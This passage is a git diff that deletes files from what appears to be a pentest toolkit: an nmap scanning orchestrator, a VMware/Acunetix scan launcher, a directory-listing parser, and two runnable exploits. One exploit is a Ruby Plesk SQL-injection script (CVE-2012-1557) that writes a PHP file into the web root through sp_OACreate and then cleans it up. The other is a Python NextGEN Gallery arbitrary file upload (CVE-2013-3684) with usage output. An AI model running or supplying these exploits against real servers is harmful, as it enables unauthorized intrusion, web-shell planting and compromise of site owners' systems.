tmpStr = i.replace('/udp','') - tmpStr = tmpStr.replace('/UDP','') - tmpStr = (tmpStr.replace(',','')).replace(" ","").replace("\n","") - udpList.append(tmpStr) - - tcpportNo = str(tcpList).strip('[]').replace("'","").replace(" ","") - udpportNo = str(udpList).strip('[]').replace("'","").replace(" ","") - if len(tcpportNo)>0 and len(udpportNo)>0: - arg = "sudo nmap -Pn -T4 -sT -sU -n -sV -A -v --open --script default -p T:"+tcpportNo+" U:"+udpportNo - cmd = arg+" "+hostNo - scanTCPList.append((hostNo,cmd)) - if len(tcpportNo)>0 and len(udpportNo)<1: - arg = "sudo nmap -Pn -T4 -sT -sU -n -sV -A -v --open --script default -p T:"+tcpportNo - cmd = arg+" "+hostNo - scanTCPList.append((hostNo,cmd)) - if len(tcpportNo)<1 and len(udpportNo)>0: - arg = "sudo nmap -Pn -T4 -sT -sU -n -sV -A -v --open --script default -p U:"+udpportNo - cmd = arg+" "+hostNo - scanTCPList.append((hostNo,cmd)) - - -def RunCommand (fullCmd): - try: - print fullCmd - return commands.getoutput(fullCmd) - except: - return "Error executing command %s" %(fullCmd) - - -class Worker(multiprocessing.Process): - - def __init__(self, - work_queue, - result_queue, - ): - # base class initialization - multiprocessing.Process.__init__(self) - self.work_queue = work_queue - self.result_queue = result_queue - self.kill_received = False - - def run(self): - while (not (self.kill_received)) and (self.work_queue.empty()==False): - try: - job = self.work_queue.get_nowait() - except: - break - - (jobid,runCmd) = job - rtnVal = (jobid,RunCommand(runCmd)) - self.result_queue.put(rtnVal) - -def extractPorts(results): - file = open("results.txt", "a+") - resultList = str(results).split("\n") - for i in resultList: - if "Nmap scan report for " in i: - hostNo = i.replace("Nmap scan report for ","") - file.write(hostNo+"\n") - if "/tcp" in i and "unknown" not in i and "tcpwrapped" not in i and "port" not in i: - outputStr = str(i).replace(" open "," ") - outputStr = outputStr.replace("?"," ") - resultsEnd.append(outputStr) - file.write(outputStr+"\n") - - if "http" in outputStr: - portStatus = outputStr.split("/tcp") - httpList.append((hostNo,portStatus[0],portStatus[1])) - if "ssl" in outputStr: - portStatus = outputStr.split("/tcp") - sslList.append((hostNo,portStatus[0],portStatus[1])) - if "ssh" in outputStr: - portStatus = outputStr.split("/tcp") - sshList.append((hostNo,portStatus[0],portStatus[1])) - - if "/udp" in i and "filtered" not in i and "unknown" not in i and "tcpwrapped" not in i and "port" not in i: - outputStr = str(i).replace(" open "," ") - outputStr = outputStr.replace("open|filtered","") - outputStr = outputStr.replace("?"," ") - resultsEnd.append(outputStr) - file.write(outputStr+"\n") - - if "snmp" in outputStr: - portStatus = outputStr.split("/udp") - snmpList.append((hostNo,portStatus[0],portStatus[1])) - file.close() - -def execute(jobs, num_processes=2): - # load up work queue - work_queue = multiprocessing.Queue() - for job in jobs: - work_queue.put(job) - - # create a queue to pass to workers to store the results - result_queue = multiprocessing.Queue() - - # spawn workers - worker = [] - for i in range(num_processes): - worker.append(Worker(work_queue, result_queue)) - worker[i].start() - - # collect the results from the queue - results = [] - while len(results) < len(jobs): #Beware - if a job hangs, then the whole program will hang - result = result_queue.get() - results.append(result) - results.sort() # The tuples in result are sorted according to the first element - the jobid - return (results) - - -#MAIN - -if __name__ == '__main__': - global filename - parser = argparse.ArgumentParser() - parser.add_argument('-f', action='store', help='[file containing directory listing]') - - if len(sys.argv)==1: - parser.print_help() - sys.exit(1) - - options = parser.parse_args() - if options.f: - filename = options.f - - generateCommands() - - import time #Code to measure time - starttime = time.time() #Code to measure time - - - jobs = [] #List of jobs strings to execute - jobid = 0#Ordering of results in the results list returned - - #Code to generate my job strings. Generate your own, or load joblist into the jobs[] list from a text file - lagFactor = 5 - for i in scanTCPList: - cmd = i[1] - #cmd = "nmap -Pn -T4 -sT -n -sV -A -v --open --script default -p 443,8009 58.215.166.36" - ctr = 0 - fullCmd = cmd #Linux command to execute - jobs.append((jobid,fullCmd)) # Append to joblist - jobid = jobid+1 - for i in scanUDPList: - cmd = i[1] - #cmd = "nmap -Pn -T4 -sT -n -sV -A -v --open --script default -p 443,8009 58.215.166.36" - ctr = 0 - fullCmd = cmd #Linux command to execute - jobs.append((jobid,fullCmd)) # Append to joblist - jobid = jobid+1 - # run - numProcesses = 10 - results = execute(jobs,numProcesses) #job list and number of worker processes - - #Code to print out results as needed by me. Change this to suit your own need - # dump results - ctr = 0 - for r in results: - (jobid, cmdop) = r - #if jobid % lagFactor == 0: - # print - # print jobid/lagFactor, - #print '\t', - #try: - #print cmdop - extractPorts(cmdop) - #print cmdop.split()[10], - #except: - # print "Err", - ctr = ctr+1 - print - - file1 = open("results_sorted.txt", "w") - results1 = "\n***** HTTP/HTTPs Servers *****" - print results1 - file1.write(results1+"\n") - for host in httpList: - if "ssl/http" in str(host): - results1 = "https://"+host[0]+":"+host[1] - print results1 - file1.write(results1+"\n") - if " http " in str(host): - results1 = "http://"+host[0]+":"+host[1] - print results1 - file1.write(results1+"\n") - results1 = "\n***** SSL Servers *****" - print results1 - file1.write(results1+"\n") - for host in sslList: - results1 = host[0]+":"+host[1] - print results1 - file1.write(results1+"\n") - results1 = "\n***** SNMP Servers *****" - print results1 - file1.write(results1+"\n") - for host in snmpList: - results1 = host[0]+":"+host[1] - print results1 - file1.write(results1+"\n") - results1 = "\n***** SSH Servers *****" - print results1 - file1.write(results1+"\n") - for host in sshList: - results1 = host[0]+":"+host[1] - print results1 - file1.write(results1+"\n") - file1.close() - print "Time taken = %f" %(time.time()-starttime) #Code to measure time diff --git a/plesk_panel/pleskSQL.rb b/plesk_panel/pleskSQL.rb deleted file mode 100755 index 932a6b6..0000000 --- a/plesk_panel/pleskSQL.rb +++ /dev/null @@ -1,144 +0,0 @@ -#!/bin/env ruby -#encoding: utf-8 - -require 'net/http' -require 'net/https' -require 'uri' - -#Reference: http://www.esecforte.com/blog/exploring-plesks-unspecified-vulnerability/ -#Reference: CVE-2012-1557 - -host = "" -port = "8443" -ssl = true - -randomNum = Random.new.rand(1_000_0..10_000_0-1) -outputFileName = "shllspider".to_s+(randomNum.to_i).to_s+".php" - -hostandport = host+":"+port - -stage1 = "';exec a..a--" -#puts stage2 -if ssl==true - url = URI.parse('https://'+hostandport+'/enterprise/control/agent.php ') -else - url = URI.parse('http://'+hostandport+'/enterprise/control/agent.php ') -end - -http = Net::HTTP.new(url.host, url.port) -http.use_ssl = true -http.verify_mode = OpenSSL::SSL::VERIFY_NONE -data = '' - -headers = { - 'HTTP_AUTH_LOGIN' => stage1, - 'HTTP_AUTH_PASSWD' => "spiderlabs", - 'Host' => hostandport, - 'Content-Type' => 'text/xml' -} - -resp = http.post(url.path, data, headers) -results = resp.body - -if results.include? "Login is incorrect" - puts "[*] Plesk panel is not vulnerable" - exit -end -results = results.match(/in <b>(.*)plib/m)[1] -localPath = results -puts "[*] Local path of Plesk installation: "+localPath - - - - -puts "[*] Extracting Plesk Panel credentials" -stage5 = "';DECLARE @li_file_sytem_object INT; DECLARE @li_result INT;DECLARE @li_file_id INT;EXECUTE @li_result = sp_OACreate 'Scripting.FileSystemObject', @li_file_sytem_object OUT;EXECUTE @li_result = sp_OAMethod @li_file_sytem_object, 'OpenTextFile', @li_file_id OUT,'"+localPath+"htdocs\\enterprise\\control\\"+outputFileName+"', 8, 1; EXECUTE @li_result = sp_OAMethod @li_file_id, 'WriteLine', NULL, '';---" - -url5 = URI.parse('https://'+hostandport+'/enterprise/control/agent.php ') -http5 = Net::HTTP.new(url5.host, url5.port) -http5.use_ssl = true -http5.verify_mode = OpenSSL::SSL::VERIFY_NONE -data5 = '' - -headers5 = { - 'Cookie' => 'PLESKSESSID=da4c205a20e18edc9ea9bc692cf65631', - 'HTTP_AUTH_LOGIN' => stage5, - 'HTTP_AUTH_PASSWD' => "spiderlabs", - 'Host' => hostandport, - 'Content-Type' => 'text/xml' -} -resp5 = http5.post(url5.path, data5, headers5) -results5 = resp5.body - - - - -puts "[*] Run command on remote server" -stage2 = "';DECLARE @li_file_sytem_object INT; DECLARE @li_result INT;DECLARE @li_file_id INT;EXECUTE @li_result = sp_OACreate 'Scripting.FileSystemObject', @li_file_sytem_object OUT;EXECUTE @li_result = sp_OAMethod @li_file_sytem_object, 'OpenTextFile', @li_file_id OUT,'"+localPath+"htdocs\\enterprise\\control\\"+outputFileName+"', 8, 1; EXECUTE @li_result = sp_OAMethod @li_file_id, 'WriteLine', NULL, ' ';---" - -url3 = URI.parse('https://'+hostandport+'/enterprise/control/agent.php ') -http3 = Net::HTTP.new(url3.host, url3.port) -http3.use_ssl = true -http3.verify_mode = OpenSSL::SSL::VERIFY_NONE -data3 = '' - -headers3 = { - 'HTTP_AUTH_LOGIN' => stage2, - 'HTTP_AUTH_PASSWD' => "spiderlabs", - 'Host' => hostandport, - 'Content-Type' => 'text/xml' -} -resp3 = http3.post(url3.path, data3, headers3) -results3 = resp3.body - - -windowsCmd = "ver" -stage2 = "';DECLARE @li_file_sytem_object INT; DECLARE @li_result INT;DECLARE @li_file_id INT;EXECUTE @li_result = sp_OACreate 'Scripting.FileSystemObject', @li_file_sytem_object OUT;EXECUTE @li_result = sp_OAMethod @li_file_sytem_object, 'OpenTextFile', @li_file_id OUT,'"+localPath+"htdocs\\enterprise\\control\\"+outputFileName+"', 8, 1; EXECUTE @li_result = sp_OAMethod @li_file_id, 'WriteLine', NULL, '';---" - -url3 = URI.parse('https://'+hostandport+'/enterprise/control/agent.php ') -http3 = Net::HTTP.new(url3.host, url3.port) -http3.use_ssl = true -http3.verify_mode = OpenSSL::SSL::VERIFY_NONE -data3 = '' - -headers3 = { - 'HTTP_AUTH_LOGIN' => stage2, - 'HTTP_AUTH_PASSWD' => "spiderlabs", - 'Host' => hostandport, - 'Content-Type' => 'text/xml' -} -resp3 = http3.post(url3.path, data3, headers3) -results3 = resp3.body - -newUrl = "https://"+hostandport+"/enterprise/control/"+outputFileName -print "[*] Write output to "+newUrl+"\n\n" -url2 = URI.parse("https://"+hostandport+"/enterprise/control/"+outputFileName) -http2 = Net::HTTP.new(url2.host, url2.port) -http2.use_ssl = true -http2.verify_mode = OpenSSL::SSL::VERIFY_NONE -data = '' -resp = http2.put(url2.path,data) -puts resp.body - - - - - - -puts "\n[*] Cleaning up and deleting file..." -stage4 = "';DECLARE @Result int;DECLARE @FSO_Token int;EXEC @Result = sp_OACreate 'Scripting.FileSystemObject', @FSO_Token OUTPUT;EXEC @Result = sp_OAMethod @FSO_Token, 'DeleteFile', NULL, '"+localPath+"htdocs\\enterprise\\control\\"+outputFileName+"';EXEC @Result = sp_OADestroy @FSO_Token;---" - -url4 = URI.parse('https://'+hostandport+'/enterprise/control/agent.php ') -http4 = Net::HTTP.new(url4.host, url4.port) -http4.use_ssl = true -http4.verify_mode = OpenSSL::SSL::VERIFY_NONE -data4 = '' - -headers4 = { - 'HTTP_AUTH_LOGIN' => stage4, - 'HTTP_AUTH_PASSWD' => "spiderlabs", - 'Host' => hostandport, - 'Content-Type' => 'text/xml' -} -resp4 = http4.post(url4.path, data4, headers4) -results4 = resp4.body diff --git a/vm_automation/README.md b/vm_automation/README.md deleted file mode 100755 index f991f74..0000000 --- a/vm_automation/README.md +++ /dev/null @@ -1,16 +0,0 @@ -- vmAcunetix.py - -Starts up the VM (background optional with the -nogui parameter to improve performance) -Launches Acunetix and scans the URLs listed in the text files. - ``` -usage: vmAcunetix.py [-h] [-u USERNAME] [-p PASSWORD] [-iL FILENAME] [-nogui] - [-n THREADS] - -optional arguments: - -h, --help show this help message and exit - -u USERNAME [username to use to login into VM] - -p PASSWORD [password to use to login into VM] - -iL FILENAME [text file containing list of URLs] - -nogui [starts VM with no gui] - -n THREADS [number of threads] -``` diff --git a/vm_automation/vmAcunetix.py b/vm_automation/vmAcunetix.py deleted file mode 100755 index 311bc68..0000000 --- a/vm_automation/vmAcunetix.py +++ /dev/null @@ -1,210 +0,0 @@ -import multiprocessing -import os -import commands -import glob -import argparse -import sys -import urllib2 - -noGUI=False -numProcesses=5 -username='' -password='' -filename='' - -#Change the below and point to the VMX file of the VM -vmHost='"/VM/XPLiteVM.vmwarevm/XPLiteVM.vmx"' - -acunetixCmd = '"C:\Program Files\Acunetix\Web Vulnerability Scanner 9.5\wvs_console.exe"' -vmrunCmd='"/Applications/VMware Fusion.app/Contents/Library/vmrun"' -cmdList=[] - -fileList=[] -mkdirList=[] - -def chunk(input, size): - return map(None, *([iter(input)] * size)) - - -class Worker1(multiprocessing.Process): - - def __init__(self, - work_queue, - result_queue, - ): - multiprocessing.Process.__init__(self) - self.work_queue = work_queue - self.result_queue = result_queue - self.kill_received = False - def run(self): - while (not (self.kill_received)) and (self.work_queue.empty()==False): - try: - job = self.work_queue.get_nowait() - except: - break - (jobid,filename) = job - rtnVal = (jobid,generateAcunetix(filename)) - self.result_queue.put(rtnVal) - -def execute1(jobs, num_processes=2): - work_queue = multiprocessing.Queue() - for job in jobs: - work_queue.put(job) - - result_queue = multiprocessing.Queue() - worker = [] - for i in range(int(num_processes)): - worker.append(Worker1(work_queue, result_queue)) - worker[i].start() - - results = [] - while len(results) < len(jobs): - result = result_queue.get() - results.append(result) - results.sort() - return (results) - -def testInternet(): - cmd = "ping -c3 4.2.2.2 > /dev/null 2>&1" - if os.system(cmd)==0: - return True - else: - print "[!] Internet is down. Please check" - sys.exit() - return False - -def RunCommand(fullCmd): - try: - return commands.getoutput(fullCmd) - except Exception as e: - print e - return "Error executing command %s" %(fullCmd) - -def get_redirected_url(url): - try: - opener = urllib2.build_opener(urllib2.HTTPRedirectHandler) - opener.addheaders = [('User-agent', 'Mozilla/5.0')] - urllib2.install_opener(opener) - request = opener.open(url) - return request.url - except Exception as e: - return None - -def checkWorkDone(folderName): - #print folderName+'/wvs_log*.csv' - files = glob.glob(folderName+'/wvs_log*.csv') - complete=False - for name in files: - with open(name) as f: - textList=f.read() - for line in textList: - if "Finish time :" in line: - #if "Scan was aborted : NO" in line: - completed=True - if complete==True: - return True - else: - return False - -def generateAcunetix(line): - line1 = (line.replace(":","_")).replace("//","") - shareName = line1 - folderName = "/results/"+line1 - folderName1 = (folderName.replace("/","\\")).replace("results","") - - #Enable Shared Folders - cmd = vmrunCmd+' enableSharedFolders '+vmHost - RunCommand(cmd) - - if checkWorkDone(os.getcwd()+folderName)==False and testInternet()==True: - cmd = vmrunCmd+' addSharedFolder '+vmHost+' '+shareName+' '+os.getcwd()+folderName - print cmd - RunCommand(cmd) - - if noGUI==True: - cmd = vmrunCmd+' -T fusion -gu '+username+' -gp '+password+' runProgramInGuest '+vmHost+' -interactive '+acunetixCmd+' /save /savefolder z:'+folderName1+' /Scan '+line+" nogui" - print cmd - RunCommand(cmd) - else: - cmd = vmrunCmd+' -T fusion -gu '+username+' -gp '+password+' runProgramInGuest '+vmHost+' -interactive '+acunetixCmd+' /save /savefolder z:'+folderName1+' /Scan '+line - print cmd - RunCommand(cmd) - - #Remove Shares in VMware - cmd = vmrunCmd+' removeSharedFolder '+vmHost+' '+shareName - RunCommand(cmd) - - - -if __name__ == '__main__': - global numProcess - parser = argparse.ArgumentParser() - parser.add_argument('-u', dest='username', action='store', help='[username to use to login into VM]') - parser.add_argument('-p', dest='password', action='store', help='[password to use to login into VM]') - parser.add_argument('-iL', dest='filename', action='store', help='[text file containing list of URLs]') - parser.add_argument('-nogui', action='store_true', help='[starts VM with no gui]') - parser.add_argument('-n', dest='threads', action='store', help='[number of threads]') - - if len(sys.argv)==1: - parser.print_help() - sys.exit(1) - options = parser.parse_args() - if options.username and options.password and options.filename: - username = options.username - password = options.password - - if options.threads: - numProcesses=options.threads - if options.nogui: - noGUI=True - if options.filename: - filename=options.filename - fileList.append(filename) - - if testInternet()==False: - print "[!] Internet is down. Please check" - sys.exit() - - #Starts VM - print "- Starts VM" - cmd = vmrunCmd+' start '+vmHost - RunCommand(cmd) - - fileList1=[] - for filename in fileList: - with open(filename) as f: - lines = f.read().splitlines() - for line in lines: - line = get_redirected_url(line) - if line!=None: - line1 = (line.replace(":","_")).replace("//","") - shareName = line1 - folderName = "/results/"+line1 - - if not os.path.exists(os.getcwd()+"/"+folderName+"/scan-results.wvs"): - fileList1.append(line) - - #Remove Shares in VMware - #cmd = vmrunCmd+' removeSharedFolder '+vmHost+' '+shareName - #RunCommand(cmd) - - if not os.path.exists(os.getcwd()+"/"+folderName): - os.makedirs(os.getcwd()+"/"+folderName) - - - print "- Slicing cmdList into chunks" - tempList = chunk(fileList1, int(numProcesses)) - totalCount=len(tempList) - count = 1 - for fileList in tempList: - jobs = [] - jobid=0 - print "- Set "+str(count)+" of "+str(totalCount) - for filename in fileList: - if filename!=None: - print "- Testing: "+filename - jobs.append((jobid,filename)) - jobid = jobid+1 - resultsList = execute1(jobs,numProcesses) - - diff --git a/web/parseFileList.py b/web/parseFileList.py deleted file mode 100755 index 4b2aacf..0000000 --- a/web/parseFileList.py +++ /dev/null @@ -1,31 +0,0 @@ -#!/usr/bin/python -import argparse -import sys - -if __name__ == '__main__': - parser = argparse.ArgumentParser() - - parser.add_argument('-f', action='store', help='[file containing directory listing]') - - if len(sys.argv)==1: - parser.print_help() - sys.exit(1) - - options = parser.parse_args() - if options.f: - with open(options.f) as f: - content = f.readlines() - fullPath = '' - for i in content: - i = i.strip() - if '/' in i: - fullPath = i.replace(":","") - elif "total " in i or len(i)<1: - continue - else: - pathSplit = i.split(" ") - try: - if len(pathSplit)<12: - print fullPath+"/"+pathSplit[10] - except IndexError: - continue diff --git a/wordpress_exploits/cve-2013-3684.py b/wordpress_exploits/cve-2013-3684.py deleted file mode 100755 index e1b543e..0000000 --- a/wordpress_exploits/cve-2013-3684.py +++ /dev/null @@ -1,83 +0,0 @@ -#!/usr/bin/python -# -*- coding: utf-8 -*- -import httplib, mimetypes,urllib2 - - -def exists(url): - try: - r = urllib2.urlopen(url) - except urllib2.URLError as e: - r = e - return r.code == 200 - -def post_multipart(host, uri, fields, files): - content_type, body = encode_multipart_formdata(fields, files) - h = httplib.HTTPConnection(host) - headers = { - 'User-Agent': 'INSERT USERAGENTNAME', - 'Content-Type': content_type - } - h.request('POST', uri, body, headers) - res = h.getresponse() - return res.status, res.reason, res.read() - -def encode_multipart_formdata(fields, files): - """ - fields is a sequence of (name, value) elements for regular form fields. - files is a sequence of (name, filename, value) elements for data to be uploaded as files - Return (content_type, body) ready for httplib.HTTP instance - """ - BOUNDARY = '----------bound@ry_$' - CRLF = '\r\n' - L = [] - for (key, value) in fields: - L.append('--' + BOUNDARY) - L.append('Content-Disposition: form-data; name="%s"' % key) - L.append('') - L.append(value) - for (key, filename, value) in files: - L.append('--' + BOUNDARY) - L.append('Content-Disposition: form-data; name="%s"; filename="%s"' % (key, filename)) - L.append('Content-Type: image/gif') - L.append('') - L.append(value) - L.append('--' + BOUNDARY + '--') - L.append('') - body = CRLF.join(L) - content_type = 'multipart/form-data; boundary=%s' % BOUNDARY - return content_type, body - - -if __name__ == '__main__': - import argparse - parser = argparse.ArgumentParser(__file__) - parser = argparse.ArgumentParser(description="NextGEN Gallery 1.9.12 Arbitrary File Upload (CVE-2013-3684)") - parser.add_argument('-i','--ip', help='IP address or host name', required=True) - parser.add_argument('-u','--uri', help='URI path /wordpress', required=True) - parser.add_argument('-f','--file', help='File to upload', required=True) - args = vars(parser.parse_args()) - - if args['ip']!=None and args['uri']!=None: - uriPath = 'http://'+args['ip']+args['uri']+'/wp-content/plugins/nextgen-gallery/' - if(exists(uriPath)): - print "[*] Wordpress Plugin: NextGEN Gallery found" - - f = open(args['file'],"r") - inputData = f.read() - f.close() - - data = [('name','name'),('galleryselect','1')] - file = [('Filedata','file1.gif',inputData)] - if "?p=1&nggupload=" not in args['uri']: - uri = args['uri']+"/?p=1&nggupload=" - else: - uri = args['uri'] - response = post_multipart(args['ip'],uri,data,file) - if response[0]==200: - print "[*] File has been uploaded successfully. Please check the below location\n" - print "******************************************************************************" - print "http://"+args['ip']+uri.strip("?p=1&nggupload=")+"wp-content/[gallery_name]/file1.gif" - print "******************************************************************************" - else: - print "[*] Wordpress Plugin: NextGEN Gallery NOT found" - diff --git a/wordpress_exploits/readme.txt b/wordpress_exploits/readme.txt deleted file mode 100755 index 1b33545..0000000 --- a/wordpress_exploits/readme.txt +++ /dev/null @@ -1,46 +0,0 @@ -[The below example shows the help menu] --------------------------------------------------------------------------------------------------- -python cve-2013-3684.py -i 127.0.0.1 -u /wordpress/wordpress -h -usage: cve-2013-3684.py [-h] -i IP -u URI - -NextGEN Gallery 1.9.12 Arbitrary File Upload (CVE-2013-3684) -optional arguments: - -h, --help show this help message and exit - -i IP, --ip IP IP address or host name - -u URI, --uri URI URI path /wordpress - -f FILE, --file FILE File to upload --------------------------------------------------------------------------------------------------- - - -[The below example shows that NextGEN Gallery is found on host but attempt is successful] --------------------------------------------------------------------------------------------------- -python cve-2013-3684.py -i 127.0.0.1 -u /wordpress/wordpress -f test.txt -[*] Wordpress Plugin: NextGEN Gallery found -[*] File has been uploaded successfully. Please check the below location - -****************************************************************************** -http://127.0.0.1/wordpress/wordpress/wp-content/[gallery_name]/file1.gif -****************************************************************************** --------------------------------------------------------------------------------------------------- - - --------------------------------------------------------------------------------------------------- -[The below example shows that NextGEN Gallery is found on host but attempt is unsuccessful] - -python cve-2013-3684.py -i 127.0.0.1 -u /wordpress/wordpress -f test.txt -[*] Wordpress Plugin: NextGEN Gallery found -[*] Failed: NextGEN Gallery is not vulnerable or attempt has been blocked -****************************************************************************** -(406, 'Not Acceptable', 'Not Acceptable!

Not Acceptable!

An appropriate representation of the requested resource could not be found on this server. This error was generated by Mod_Security.

') -****************************************************************************** --------------------------------------------------------------------------------------------------- - - --------------------------------------------------------------------------------------------------- -[The below example shows that NextGEN Gallery is not found on host] - -python cve-2013-3684.py -i 127.0.0.1 -u /wordpress/wordpress1 -[*] Wordpress Plugin: NextGEN Gallery NOT found --------------------------------------------------------------------------------------------------- - -